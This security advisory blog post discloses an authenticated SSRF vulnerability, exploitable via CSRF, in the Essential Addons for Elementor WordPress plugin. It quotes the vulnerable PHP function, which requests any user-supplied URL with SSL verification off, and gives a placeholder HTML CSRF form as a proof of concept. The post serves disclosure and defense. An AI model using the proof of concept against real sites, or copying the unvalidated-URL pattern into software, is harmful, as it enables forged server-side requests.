Closed Popular WordPress Plugin Essential Addons for Elementor Contains an Authenticated SSRF Vulnerability
Last week two of the 1,000 most popular WordPress plugins were closed and we found that both of those contained security vulnerabilities that seemed unrelated to the closure. That doesn’t seem to paint a great picture as to the security of WordPress plugins or for the concern for security by the people running the WordPress Plugin Directory. It’s now a new week and the story continues. Earlier today another one of the 1,000 most popular plugins, Essential Addons for Elementor, which has 100,000+ installs was closed. Since then a couple of updates have been made to the plugin, which may or may not be related to the closure. We didn’t see any obvious security changes in those updates, so we went to check to see if there were any obvious security issues that remain in the latest version, since we are interested in warning our customers if they are using vulnerable plugins. A few checks in, we found multiple security issues with the plugin, for now we will detail an authenticated server-side request forgery (SSRF) vulnerability, which can also be exploited through cross-site request forgery (CSRF).
If the developer or someone else wants the plugin more fully review for security, we offer security reviews for a fee (and also allow customers of our main service to suggest/vote for plugins to get a review from us for no additional fee).
The plugin makes the function add_action_with_ajax() accessible to anyone logged in to WordPress through its AJAX functionality:
54 | add_action( 'wp_ajax_add_action_with_ajax', array( $this, 'add_action_with_ajax' ) ); |
That function doesn’t restrict who can access it or protect against CSRF before making a HTTP requesting to a URL specified using the POST input “url”, which is a server-side request forgery (SSRF) vulnerability:
58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | public function add_action_with_ajax(){ global $wp_version; $post_types = []; $remoteargs = array( 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url(), 'blocking' => true, 'headers' => array(), 'cookies' => array(), 'sslverify' => false, ); $otherurl = $_POST['url']; $otherurl = $otherurl . 'wp-json/wp/v2/types'; $response = wp_remote_get( $otherurl, $remoteargs ); |
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Proof of Concept
The following proof of concept will cause a request to be the specified URL, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[URL]” with the URL to be requested.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=add_action_with_ajax" method="POST"> <input type="hidden" name="url" value="[URL]?test=" /> <input type="submit" value="Submit" /> </form> </body> </html>